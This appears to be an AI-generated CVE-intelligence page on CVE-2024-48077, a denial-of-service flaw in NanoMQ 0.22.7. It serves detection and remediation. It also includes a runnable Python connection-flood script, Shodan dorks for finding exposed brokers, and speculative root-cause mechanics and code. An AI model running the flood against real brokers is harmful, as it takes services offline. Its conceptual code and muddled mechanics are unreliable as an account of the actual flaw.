☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-48077

CVE-2024-48077 Denial of Service in Emq
📅 PUBLISHED: 2026-01-15 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 0.22.7
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-48077 is a Denial of Service (DoS) vulnerability in NanoMQ v0.22.7, an MQTT broker. The vulnerability stems from improper resource throttling, allowing a crafted sequence of requests to saturate the recv-q queue. This saturation leads to rapid exhaustion of system file descriptors (FDs), causing the broker process to crash and become unavailable. The vulnerability is unpatched as of the latest advisory, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the impact is severe for availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NanoMQ is distributed as a binary package and via source code on GitHub. The vulnerability affects version 0.22.7. Users should monitor the official NanoMQ repository for patches and verify the integrity of downloaded binaries using checksums.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the description, a reasonable assessment would be:

  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
  • Confidentiality (C): None (N) – No data breach.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): High (H) – Complete loss of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High for availability. The vulnerability is easy to exploit remotely without authentication, leading to a complete denial of service.

Deep Dive & Mechanics

NanoMQ is a lightweight MQTT broker written in C, designed for edge computing and IoT. The vulnerability lies in the handling of incoming MQTT connections and messages. The recv-q queue is a kernel-level socket buffer that holds incoming data before it is read by the application. When a crafted sequence of requests is sent, the broker fails to throttle the rate of incoming data, causing the recv-q queue to fill up rapidly.

As the queue saturates, the broker attempts to allocate more file descriptors to handle the backlog. Each connection consumes a file descriptor. Without proper resource limits, the system's file descriptor limit (often 1024 or 65535) is quickly exhausted. Once all file descriptors are used, the broker cannot accept new connections or process existing ones, leading to a crash or hang.

The root cause is the lack of rate limiting or backpressure mechanisms in the connection handling code. The broker does not enforce limits on the number of concurrent connections or the rate of incoming messages, allowing an attacker to overwhelm the system.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code path. The vulnerable code is likely in the MQTT connection handler, where incoming data is read from the socket without proper flow control.

Vulnerable Code (Conceptual):

// In the connection handler, data is read without throttling
void handle_connection(int client_fd) {
    char buffer[1024];
    while (1) {
        int n = read(client_fd, buffer, sizeof(buffer));
        if (n <= 0) break;
        // Process MQTT packet
        process_mqtt_packet(buffer, n);
    }
}

Patched Code (Hypothetical):

// Patched version with rate limiting
void handle_connection(int client_fd) {
    char buffer[1024];
    int packets_per_second = 100;
    struct timespec last_packet = {0};
    while (1) {
        // Rate limit: allow only 100 packets per second
        struct timespec now;
        clock_gettime(CLOCK_MONOTONIC, &now);
        double elapsed = (now.tv_sec - last_packet.tv_sec) + 
                        (now.tv_nsec - last_packet.tv_nsec) / 1e9;
        if (elapsed < 1.0 / packets_per_second) {
            usleep((1.0 / packets_per_second - elapsed) * 1e6);
        }
        int n = read(client_fd, buffer, sizeof(buffer));
        if (n <= 0) break;
        process_mqtt_packet(buffer, n);
        clock_gettime(CLOCK_MONOTONIC, &last_packet);
    }
}

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on the NanoMQ broker.

Prerequisites:

  • NanoMQ v0.22.7 running on a target host (default port 1883).
  • Network access to the broker.

Exploit Steps:

  1. Identify the target NanoMQ broker (e.g., using Shodan or Nmap).
  2. Use a tool like mqtt-spy or a custom Python script to send a high volume of MQTT CONNECT packets rapidly.
  3. The script should open multiple connections simultaneously and send malformed or valid MQTT packets to saturate the recv-q queue.

Example Python Script:

import socket
import threading
import time

def flood(target_ip, target_port):
    while True:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((target_ip, target_port))
            # Send a malformed MQTT CONNECT packet (or valid)
            packet = b'\x10\x0e\x00\x04MQTT\x04\x02\x00\x0f\x00\x0atest'
            sock.send(packet)
            time.sleep(0.001)  # Rapid fire
        except:
            pass
        finally:
            sock.close()

target_ip = "192.168.1.100"
target_port = 1883
threads = []
for i in range(100):
    t = threading.Thread(target=flood, args=(target_ip, target_port))
    t.start()
    threads.append(t)

for t in threads:
    t.join()

Expected Outcome: The broker crashes or becomes unresponsive after a few seconds.

Blue Team

Detection:

  • Monitor for a high number of connections from a single IP address.
  • Watch for rapid increases in file descriptor usage on the broker host.
  • Use network monitoring to detect abnormal MQTT traffic patterns.

Mitigation:

  • Implement rate limiting at the network level (e.g., using iptables or a WAF).
  • Configure system file descriptor limits (ulimit -n) to prevent exhaustion.
  • Apply patches as soon as they are released.

Lab Setup:

  • Use a virtual machine running Ubuntu 22.04.
  • Install NanoMQ v0.22.7 from source or binary.
  • Use a separate VM as the attacker to run the flood script.
  • Monitor the broker using top, lsof, and netstat.

Indicators of Compromise (IOCs)

  • Network: High volume of MQTT CONNECT packets from a single IP address.
  • System: Rapid increase in file descriptor usage (/proc/sys/fs/file-nr).
  • Logs: Broker logs showing "Too many open files" or "Connection refused" errors.
  • Process: NanoMQ process crash or hang.

Example Log Entry:

[error] 2024-10-01 12:34:56: accept() failed: Too many open files

Detection Engineering

YARA Rule

rule CVE_2024_48077_NanoMQ_DoS {
    meta:
        description = "Detects NanoMQ DoS attack patterns"
        author = "Valters IT"
        date = "2024-10-01"
        cve = "CVE-2024-48077"
    strings:
        $mqtt_connect = { 10 ?? 00 04 4D 51 54 54 }
        $error_msg = "Too many open files"
    condition:
        #mqtt_connect > 100 or $error_msg
}

Sigma Rule

title: NanoMQ DoS Attack Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high rate of MQTT connections indicating a DoS attack on NanoMQ
author: Valters IT
date: 2024-10-01
logsource:
    category: network
    product: mqtt
detection:
    selection:
        event: connection
        protocol: mqtt
        src_ip: "*"
    condition: selection | count() by src_ip > 100 within 1s
falsepositives:
    - Legitimate high-throughput MQTT clients
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-48077 NanoMQ DoS Attempt"; flow:to_server; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54|"; distance:1; within:6; threshold:type both, track by_src, count 100, seconds 1; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Limit File Descriptors: Increase system file descriptor limits (ulimit -n 65535) and configure NanoMQ to use a lower limit.
  2. Network Rate Limiting: Use iptables to limit connections per IP:
    iptables -A INPUT -p tcp --dport 1883 -m connlimit --connlimit-above 50 -j REJECT
    
  3. Monitor: Set up monitoring for file descriptor usage and connection rates.

Long-term Fix:

  • Apply patches from the vendor when available.
  • Upgrade to a patched version of NanoMQ.
  • Implement application-level rate limiting in the broker configuration.

Workaround:

  • Use a reverse proxy (e.g., HAProxy) in front of NanoMQ to throttle connections.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

NanoMQ
NanoMQ port 1883
NanoMQ broker
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-48077/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.